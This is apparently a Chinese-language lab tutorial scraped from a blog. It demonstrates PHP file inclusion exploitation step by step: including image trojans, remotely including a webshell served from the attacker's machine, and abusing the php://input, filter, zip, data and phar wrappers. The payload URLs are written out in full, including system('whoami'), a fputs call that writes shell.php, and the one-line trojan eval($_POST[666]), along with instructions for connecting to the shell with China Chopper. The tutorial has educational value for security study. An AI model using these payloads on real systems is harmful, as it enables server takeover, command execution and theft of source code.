当前位置: 首页 > news >正文

文件包含漏洞——实例

一、文件包含漏洞利用之本地包含配合文件上传包含图片马

原理:

文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。
制作图片马的方式有很多,常见的有两种:

  • 在图片后写入脚本代码
  • 在cmd中使用命令 copy 1.jpg/b+1.php/a 2.jpg
参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件

1、制作图片马,准备一个PHP脚本和一张图片

2、访问在浏览器中访问靶机:http://ip/up/up.html

3、上传图片马,图片马成功上传

4、访问http://ip/up/upload/info.jpg,上传的脚本文件不能解析,因为图片马需要配合文件包含漏洞或者解析漏洞

5、访问http://ip/include/include.php?page=../up/upload/info.jpg,包含图片马,图片马成功解析

 可以把脚本改成一句话木马,与菜刀连用,入侵靶机


二、文件包含漏洞利用之远程包含Webshell

原理:

本地包含只能包含目标服务器本地已有的文件,若目标服务器本地不存在木马文件,则无法利用。因此可以借助远程文件包含漏洞,在操作机本地搭建Web服务器,远程包含木马文件Getshell。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、打开"phpStudy",启动操作机的Apache服务

3、在操作机的Web根目录下新建shell.txt文件

4、在浏览器中访问http://目标机ip/include.php?page=http://操作机ip/shell.txt,并发送post数据测试一句话木马可以解析

 

5、利用中国菜刀,在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP

6、点击“添加”,双击一句话木马地址

 注:在无其他漏洞,只有文件包含漏洞,且目标服务器本地无shell文件可利用,又可以远程文件包含时,可以在攻击机本地新建一个一句话木马文件(比如:shell.txt,不要以.php的文件存在,因为php文件在操作机本地会被解析),然后远程包含攻击机本地新建的木马文件,从而Getshell。


三、PHP封装伪协议之php流input

原理:

PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:


利用php流input中流的概念,将原来的文件流重定向到了用户可控的输入流中执行命令。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、访问http://ip/include/include.php?page=php://input

3、勾选"Post data",在提交post数据的位置输入"<?php phpinfo();?>",并发送数据执行

4、发送"<?php system(‘dir’);?>"数据执行系统命令

5、发送"<?php system(‘whoami’);?>"数据执行系统命令

6、发送"<?php fputs(fopen(‘shell.php’,‘w’),’<?php phpinfo();?>’);?>"数据执行,生成shell脚本文件

7、访问http://ip/include/include.php?page=shell.php

注:利用PHP封装伪协议中的php流input,发送POST数据(可利用火狐的插件,也可以利用Burp Suite抓包修改数据包)进行命令执行,可以执行操作系统命令,也可以在服务器端生成木马文件,用Webshell管理工具连接木马文件。


四、PHP封装伪协议之php流filter

原理: 利用php流的filter,指定末尾的文件,可以读取经过base64编码后的文件源码,再base64解码,可以读取文件源码。获取敏感信息。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、访问http://ip/include/include.php?page=php://filter/read=convert.base64-encode/resource=include.php

3、复制读取到的base64编码后的源码,借助火狐插件的base64解码功能(或者base64解码工具)

 

4、点击"确定",进行base64解码,可以读取指定文件的源码

 

注:利用PHP封装伪协议中的php流filter,指定末尾的文件,可以读取经过base64编码后的文件源码,再base64解码,可以读取文件源码。也可以利用?page=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。虽然不能直接获取shell,但是读取敏感文件也是有很大危害的。


五、PHP封装伪协议之zip流

原理:利用zip流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。

1、新建info.txt文件

 

2、对info.txt文件进行zip压缩

 

3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html

 

4、点击“选择文件”按钮,选中要上传的文件

 

5、点击“submit”按钮,上传info.zip文件

6、访问http://ip/include/include.php

 

7、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,从而得到上传脚本的绝对路径

 

8、访问http://ip/include/include.php?page=zip://C:/server/apache22/htdocs/up/upload/info.zip%23info.txt

注:利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用zip协议需要指定绝对路径,使用相对路径会包含失败;同时将#编码为%23。


六、PHP封装伪协议之data流

原理:利用PHP封装伪协议中data数据流,通过文件包含漏洞进行命令执行。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

 

2、访问http://ip/include/include.php?page=data://text/plain,<?php phpinfo();?>,代码执行

 

3、也可以:将代码进行base64编码,访问http://ip/include/include.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 

4、访问http://ip/include/include.php?page=data://text/plain,<?php system(‘whoami’);?>,系统命令执行

 

5、访问http://ip/include/include.php?page=data://text/plain,<?php @eval($_POST[666]);?>,执行一句话木马

 

6、打开菜刀,在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP

 

7、点击“添加”,双击一句话木马地址

注:利用PHP封装伪协议中的data流,进行代码执行和系统命令执行,也可以对代码进行base64编码,同样可以执行一句话木马,从而Getshell。


七、PHP封装伪协议之phar流

跟zip流相似,但是路径相对跟绝对都行

原理:利用phar流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。

1、新建info.txt文件

 

2、对info.txt文件进行zip压缩

 

3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html

4、点击“选择文件”按钮,选中要上传的文件

 

5、点击“submit”按钮,上传info.zip文件

 

6、访问http://ip/include/include.php

 

7、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,从而得到上传脚本的绝对路径

 

8、访问http://ip/include/include.php?page=phar://C:/server/apache22/htdocs/up/upload/info.zip/info.txt或者http://ip/include/include.php?page=phar://…/up/upload/info.zip/info.txt

注:利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用phar流绝对路径和相对路径都可以。

php流的用法表


 

这篇文章就写到这里了!

相关文章:

  • Nacos详解
  • 洛谷刷题(普及-):谁拿了最多奖学金、ISBN 号码、开心的金明、数列、多项式输出
  • SpringMVC(二)
  • 操作系统第九讲——线程的实现方式和多线程模型
  • 爬虫——第一次笔记 urllib的基本使用 urllib一个类型,六个方法 urllib下载 urllib请求对象的定制
  • 神经网络电子书,神经网络入门书
  • 面试说:聊聊JavaScript中的数据类型
  • 深入理解计算机系统——第三章 Machine-Level Representation of Programs
  • C# ZXing.net解码测试(QRCode、DataMatrix、1D-Barcode一维码条码)
  • 新手轻松日赚300+搬砖项目详解
  • 信号分析与处理——对于傅里叶信号一些整理
  • 2023陕西师范大学择校分析
  • 数字藏品带给联盟链有哪些机会?
  • 搭建mybatis环境实现crud
  • ROS2入门学习
  • 【附node操作实例】redis简明入门系列—字符串类型
  • 2017-09-12 前端日报
  • 30秒的PHP代码片段(1)数组 - Array
  • create-react-app项目添加less配置
  • es的写入过程
  • Lsb图片隐写
  • Python打包系统简单入门
  • Spring技术内幕笔记(2):Spring MVC 与 Web
  • 对超线程几个不同角度的解释
  • 关于使用markdown的方法(引自CSDN教程)
  • 开放才能进步!Angular和Wijmo一起走过的日子
  • 每天一个设计模式之命令模式
  • 世界上最简单的无等待算法(getAndIncrement)
  • 与 ConTeXt MkIV 官方文档的接驳
  • 翻译 | The Principles of OOD 面向对象设计原则
  • ​比特币大跌的 2 个原因
  • # Swust 12th acm 邀请赛# [ E ] 01 String [题解]
  • #FPGA(基础知识)
  • #前后端分离# 头条发布系统
  • (八)Docker网络跨主机通讯vxlan和vlan
  • (附源码)spring boot火车票售卖系统 毕业设计 211004
  • (附源码)spring boot基于小程序酒店疫情系统 毕业设计 091931
  • (机器学习的矩阵)(向量、矩阵与多元线性回归)
  • (转)自己动手搭建Nginx+memcache+xdebug+php运行环境绿色版 For windows版
  • (状压dp)uva 10817 Headmaster's Headache
  • . Flume面试题
  • .libPaths()设置包加载目录
  • .NET CORE 2.0发布后没有 VIEWS视图页面文件
  • .NET Core WebAPI中使用swagger版本控制,添加注释
  • .NET Core 通过 Ef Core 操作 Mysql
  • .net oracle 连接超时_Mysql连接数据库异常汇总【必收藏】
  • .NET 自定义中间件 判断是否存在 AllowAnonymousAttribute 特性 来判断是否需要身份验证
  • .NET开发人员必知的八个网站
  • .NET连接数据库方式
  • .net生成的类,跨工程调用显示注释
  • .net之微信企业号开发(一) 所使用的环境与工具以及准备工作
  • .Net中的集合
  • @ComponentScan比较
  • @FeignClient注解,fallback和fallbackFactory
  • @RunWith注解作用